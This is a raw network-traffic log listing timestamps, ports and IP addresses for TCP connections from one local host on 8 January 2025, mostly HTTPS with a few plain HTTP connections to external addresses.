Jan 8, 2025 16:18:57.391730070 CET	443	49981	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:57.391813993 CET	49981	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:57.391855955 CET	443	49981	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:57.392005920 CET	49981	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:57.392014980 CET	443	49981	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:57.393493891 CET	443	62732	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:57.393729925 CET	62732	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:57.393737078 CET	443	62732	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:57.394026041 CET	443	62732	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:57.394437075 CET	62732	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:57.394522905 CET	443	62732	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:57.394684076 CET	62732	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:57.394735098 CET	62732	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:57.394750118 CET	443	62732	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:57.394783020 CET	62732	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:57.394793987 CET	443	62732	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:57.431488991 CET	443	60546	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:57.431546926 CET	443	60546	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:57.431791067 CET	60546	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:57.432101965 CET	60546	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:57.432111979 CET	443	60546	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:57.432508945 CET	51851	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:57.432531118 CET	443	51851	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:57.432661057 CET	51851	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:57.432854891 CET	51851	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:57.432864904 CET	443	51851	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:57.439266920 CET	62732	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:57.454003096 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.454019070 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.454021931 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.454071045 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.454076052 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.454116106 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.454140902 CET	64358	443	192.168.11.20	23.62.140.168
Jan 8, 2025 16:18:57.454165936 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.454528093 CET	64358	443	192.168.11.20	23.62.140.168
Jan 8, 2025 16:18:57.463731050 CET	443	53542	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:57.464129925 CET	53542	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:57.464138031 CET	443	53542	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:57.464404106 CET	443	53542	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:57.464833975 CET	53542	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:57.464905977 CET	443	53542	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:57.517086983 CET	53542	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:57.562875032 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.562879086 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.563178062 CET	64358	443	192.168.11.20	23.62.140.168
Jan 8, 2025 16:18:57.563339949 CET	64358	443	192.168.11.20	23.62.140.168
Jan 8, 2025 16:18:57.563345909 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.596559048 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.596571922 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.598099947 CET	64358	443	192.168.11.20	23.62.140.168
Jan 8, 2025 16:18:57.598107100 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.612162113 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.612382889 CET	64358	443	192.168.11.20	23.62.140.168
Jan 8, 2025 16:18:57.612390041 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.612433910 CET	64358	443	192.168.11.20	23.62.140.168
Jan 8, 2025 16:18:57.659699917 CET	64358	443	192.168.11.20	23.62.140.168
Jan 8, 2025 16:18:57.684220076 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.684222937 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.684264898 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.684329033 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.684535027 CET	64358	443	192.168.11.20	23.62.140.168
Jan 8, 2025 16:18:57.684545040 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.684879065 CET	64358	443	192.168.11.20	23.62.140.168
Jan 8, 2025 16:18:57.697351933 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.697875023 CET	64358	443	192.168.11.20	23.62.140.168
Jan 8, 2025 16:18:57.697884083 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.725064039 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.725080013 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.725325108 CET	64358	443	192.168.11.20	23.62.140.168
Jan 8, 2025 16:18:57.725332022 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.725699902 CET	64358	443	192.168.11.20	23.62.140.168
Jan 8, 2025 16:18:57.731617928 CET	443	62732	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:57.731661081 CET	443	62732	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:57.731724977 CET	443	49981	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:57.731760025 CET	443	49981	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:57.731864929 CET	62732	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:57.731960058 CET	49981	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:57.732156992 CET	62732	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:57.732168913 CET	443	62732	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:57.732474089 CET	49981	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:57.732481003 CET	443	49981	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:57.732922077 CET	54667	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:57.732940912 CET	443	54667	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:57.733325958 CET	54667	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:57.733454943 CET	54667	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:57.733460903 CET	443	54667	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:57.737920046 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.738122940 CET	64358	443	192.168.11.20	23.62.140.168
Jan 8, 2025 16:18:57.738197088 CET	64358	443	192.168.11.20	23.62.140.168
Jan 8, 2025 16:18:57.738203049 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.738409996 CET	64358	443	192.168.11.20	23.62.140.168
Jan 8, 2025 16:18:57.765249968 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.765264034 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.765626907 CET	64358	443	192.168.11.20	23.62.140.168
Jan 8, 2025 16:18:57.765633106 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.765897036 CET	64358	443	192.168.11.20	23.62.140.168
Jan 8, 2025 16:18:57.777335882 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.777596951 CET	64358	443	192.168.11.20	23.62.140.168
Jan 8, 2025 16:18:57.777642965 CET	64358	443	192.168.11.20	23.62.140.168
Jan 8, 2025 16:18:57.777647018 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.781163931 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.781404018 CET	64358	443	192.168.11.20	23.62.140.168
Jan 8, 2025 16:18:57.781521082 CET	64358	443	192.168.11.20	23.62.140.168
Jan 8, 2025 16:18:57.781527996 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.945097923 CET	443	51851	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:57.945489883 CET	51851	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:57.945497990 CET	443	51851	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:57.945822001 CET	443	51851	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:57.946223974 CET	51851	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:57.946289062 CET	443	51851	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:57.946352005 CET	51851	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:57.946352005 CET	51851	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:57.946382999 CET	443	51851	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:57.946403980 CET	51851	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:57.946420908 CET	443	51851	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:57.946449041 CET	51851	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:57.946628094 CET	51851	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:57.946628094 CET	51851	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:57.946634054 CET	443	51851	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:57.946676016 CET	443	51851	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:58.027628899 CET	59544	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:58.027647972 CET	443	59544	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:58.027798891 CET	59544	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:58.030298948 CET	59544	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:58.030308962 CET	443	59544	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:58.283967972 CET	443	51851	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:58.284024954 CET	443	51851	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:58.284209967 CET	51851	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:58.284329891 CET	51851	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:58.284343004 CET	443	51851	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:58.300633907 CET	443	54667	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:58.300929070 CET	54667	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:58.300939083 CET	443	54667	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:58.301244020 CET	443	54667	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:58.301727057 CET	54667	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:58.301816940 CET	54667	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:58.301819086 CET	443	54667	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:58.301868916 CET	54667	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:58.301918030 CET	54667	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:58.301920891 CET	443	54667	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:58.301927090 CET	443	54667	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:58.344882965 CET	54667	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:58.498831034 CET	56361	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:58.498846054 CET	443	56361	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:58.499089003 CET	56361	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:58.499192953 CET	56361	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:58.499201059 CET	443	56361	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:58.544976950 CET	443	59544	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:58.545342922 CET	59544	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:58.545352936 CET	443	59544	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:58.545680046 CET	443	59544	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:58.546159983 CET	59544	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:58.546255112 CET	443	59544	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:58.546268940 CET	59544	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:58.546339989 CET	59544	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:58.546356916 CET	443	59544	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:58.546386957 CET	59544	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:58.590209007 CET	443	59544	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:58.591147900 CET	59544	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:58.687004089 CET	443	54667	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:58.687058926 CET	443	54667	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:58.687325001 CET	54667	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:58.687633991 CET	54667	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:58.687644958 CET	443	54667	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:58.861901999 CET	443	56361	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:58.862212896 CET	56361	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:58.862226009 CET	443	56361	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:58.862478971 CET	443	56361	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:58.862847090 CET	56361	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:58.862936020 CET	443	56361	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:58.862946987 CET	56361	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:58.881015062 CET	443	59544	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:58.881076097 CET	443	59544	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:58.881215096 CET	59544	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:58.881546974 CET	59544	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:58.881553888 CET	443	59544	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:58.906213045 CET	443	56361	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:58.906352997 CET	56361	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:59.128149986 CET	443	56361	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:59.128220081 CET	443	56361	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:59.128503084 CET	56361	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:59.128931046 CET	56361	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:59.128931046 CET	56361	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:59.128945112 CET	443	56361	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:59.129148006 CET	56361	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:19:00.424314976 CET	56386	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:19:01.280699015 CET	51354	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:01.280724049 CET	443	51354	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:01.281022072 CET	51354	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:01.281235933 CET	51354	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:01.281244993 CET	443	51354	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:01.794142962 CET	443	51354	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:01.794480085 CET	51354	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:01.794490099 CET	443	51354	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:01.794789076 CET	443	51354	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:01.795346022 CET	60802	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:01.795363903 CET	443	60802	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:01.795540094 CET	60802	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:01.795541048 CET	51354	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:01.795629025 CET	443	51354	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:01.795690060 CET	60802	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:01.795698881 CET	443	60802	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:01.795758963 CET	51354	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:01.795809031 CET	51354	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:01.795839071 CET	443	51354	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:01.795859098 CET	51354	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:01.795919895 CET	443	51354	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:01.795949936 CET	51354	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:01.796144962 CET	51354	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:01.796191931 CET	443	51354	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:01.796333075 CET	51354	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:01.838208914 CET	443	51354	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:02.135576963 CET	443	51354	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:02.135652065 CET	443	51354	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:02.135793924 CET	51354	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:02.136260986 CET	51354	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:02.136271954 CET	443	51354	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:02.331496000 CET	443	60802	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:02.331866026 CET	60802	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:02.331876040 CET	443	60802	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:02.332206011 CET	443	60802	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:02.332673073 CET	60802	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:02.332763910 CET	443	60802	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:02.332770109 CET	60802	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:02.332770109 CET	60802	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:02.332787991 CET	443	60802	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:02.332792044 CET	60802	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:02.332848072 CET	60802	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:02.332865953 CET	443	60802	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:02.380095005 CET	60802	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:02.673043966 CET	443	60802	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:02.673110962 CET	443	60802	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:02.673347950 CET	60802	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:02.673527956 CET	60802	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:02.673537016 CET	443	60802	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:03.998296022 CET	65195	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:03.998322964 CET	443	65195	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:03.998617887 CET	65195	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:03.998769999 CET	65195	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:03.998779058 CET	443	65195	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:04.117558956 CET	80	49723	94.23.158.211	192.168.11.20
Jan 8, 2025 16:19:04.117779016 CET	49723	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:19:04.511749029 CET	443	65195	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:04.512181044 CET	65195	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:04.512190104 CET	443	65195	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:04.512480974 CET	443	65195	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:04.512943029 CET	65195	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:04.513029099 CET	443	65195	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:04.513057947 CET	65195	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:04.513108015 CET	65195	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:04.513123035 CET	443	65195	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:04.513154984 CET	65195	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:04.513168097 CET	443	65195	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:04.553320885 CET	65195	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:04.854779959 CET	443	65195	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:04.854839087 CET	443	65195	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:04.855057001 CET	65195	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:04.855329990 CET	65195	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:04.855339050 CET	443	65195	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:06.611881971 CET	49730	80	192.168.11.20	186.233.187.24
Jan 8, 2025 16:19:06.731292009 CET	80	49730	186.233.187.24	192.168.11.20
Jan 8, 2025 16:19:07.026206017 CET	52615	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:07.026226997 CET	443	52615	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:07.026360989 CET	52615	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:07.026524067 CET	52615	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:07.026532888 CET	443	52615	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:07.519207001 CET	49521	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:19:07.519222975 CET	443	49521	204.79.197.203	192.168.11.20
Jan 8, 2025 16:19:07.519416094 CET	49521	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:19:07.519589901 CET	49521	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:19:07.519597054 CET	443	49521	204.79.197.203	192.168.11.20
Jan 8, 2025 16:19:07.588929892 CET	443	52615	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:07.589246035 CET	52615	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:07.589256048 CET	443	52615	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:07.589512110 CET	443	52615	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:07.590008020 CET	52615	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:07.590058088 CET	443	52615	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:07.590114117 CET	52615	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:07.590114117 CET	52615	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:07.590127945 CET	443	52615	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:07.590183973 CET	52615	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:07.590195894 CET	443	52615	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:07.642256975 CET	52615	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:07.881416082 CET	443	49521	204.79.197.203	192.168.11.20
Jan 8, 2025 16:19:07.881890059 CET	49521	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:19:07.881897926 CET	443	49521	204.79.197.203	192.168.11.20
Jan 8, 2025 16:19:07.882183075 CET	443	49521	204.79.197.203	192.168.11.20
Jan 8, 2025 16:19:07.882699966 CET	49521	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:19:07.882786036 CET	443	49521	204.79.197.203	192.168.11.20
Jan 8, 2025 16:19:07.882849932 CET	49521	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:19:07.924973965 CET	49521	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:19:07.924984932 CET	443	49521	204.79.197.203	192.168.11.20
Jan 8, 2025 16:19:07.925154924 CET	443	52615	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:07.925206900 CET	443	52615	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:07.925400972 CET	52615	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:07.925569057 CET	52615	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:07.925569057 CET	52615	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:07.925580978 CET	443	52615	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:07.925723076 CET	52615	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:08.147514105 CET	443	49521	204.79.197.203	192.168.11.20
Jan 8, 2025 16:19:08.147579908 CET	443	49521	204.79.197.203	192.168.11.20
Jan 8, 2025 16:19:08.147752047 CET	49521	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:19:08.174010038 CET	49521	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:19:08.174021959 CET	443	49521	204.79.197.203	192.168.11.20
Jan 8, 2025 16:19:08.425170898 CET	56386	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:19:08.615638971 CET	443	50415	23.33.85.196	192.168.11.20
Jan 8, 2025 16:19:08.615683079 CET	443	50415	23.33.85.196	192.168.11.20
Jan 8, 2025 16:19:08.615835905 CET	50415	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:19:08.618830919 CET	443	50801	23.33.85.196	192.168.11.20
Jan 8, 2025 16:19:08.618865013 CET	443	50801	23.33.85.196	192.168.11.20
Jan 8, 2025 16:19:08.618993044 CET	50801	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:19:10.016037941 CET	50415	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:19:10.016052008 CET	443	50415	23.33.85.196	192.168.11.20
Jan 8, 2025 16:19:10.016119003 CET	50801	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:19:10.016129971 CET	443	50801	23.33.85.196	192.168.11.20
Jan 8, 2025 16:19:10.016230106 CET	53912	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:10.016251087 CET	443	53912	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:10.016452074 CET	53912	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:10.016623020 CET	53912	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:10.016632080 CET	443	53912	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:10.530529976 CET	443	53912	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:10.530860901 CET	53912	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:10.530869961 CET	443	53912	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:10.531177998 CET	443	53912	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:10.531660080 CET	53912	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:10.531750917 CET	443	53912	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:10.531853914 CET	53912	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:10.531904936 CET	53912	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:10.531929970 CET	443	53912	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:10.531963110 CET	53912	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:10.532008886 CET	443	53912	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:10.533886909 CET	54738	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:10.533917904 CET	443	54738	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:10.534095049 CET	54738	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:10.534267902 CET	54738	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:10.534279108 CET	443	54738	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:10.571923018 CET	53912	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:10.901161909 CET	443	53912	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:10.901213884 CET	443	53912	20.189.173.24	192.168.11.20
